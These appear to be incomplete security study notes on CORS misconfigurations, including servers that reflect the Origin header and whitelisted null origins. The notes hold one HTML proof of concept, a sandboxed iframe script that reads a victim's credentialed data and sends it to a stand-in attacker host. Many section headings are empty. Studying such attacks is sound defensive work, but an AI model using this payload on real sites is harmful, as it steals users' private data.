# Vulnerabilities arising from CORS configuration issues

### Server-generated ACAO header from client-specified Origin header <a href="#server-generated-acao-header-from-client-specified-origin-header" id="server-generated-acao-header-from-client-specified-origin-header"></a>

reading the Origin header from requests and including a response header stating that the requesting origin is allowed.

The specification for the Origin header supports the value `null`. Browsers might send the value `null` in the Origin header in various unusual situations:

* Cross-origin redirects.
* Requests from serialized data.
* Request using the `file:` protocol.
* Sandboxed cross-origin requests.

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
```

### Whitelisted NULL Origin: <a href="#errors-parsing-origin-headers" id="errors-parsing-origin-headers"></a>

### Errors parsing Origin headers <a href="#errors-parsing-origin-headers" id="errors-parsing-origin-headers"></a>

### Exploiting XSS via CORS trust relationships <a href="#exploiting-xss-via-cors-trust-relationships" id="exploiting-xss-via-cors-trust-relationships"></a>

### Breaking TLS with poorly configured CORS <a href="#breaking-tls-with-poorly-configured-cors" id="breaking-tls-with-poorly-configured-cors"></a>

<br>

### Intranets and CORS without credentials <a href="#intranets-and-cors-without-credentials" id="intranets-and-cors-without-credentials"></a>


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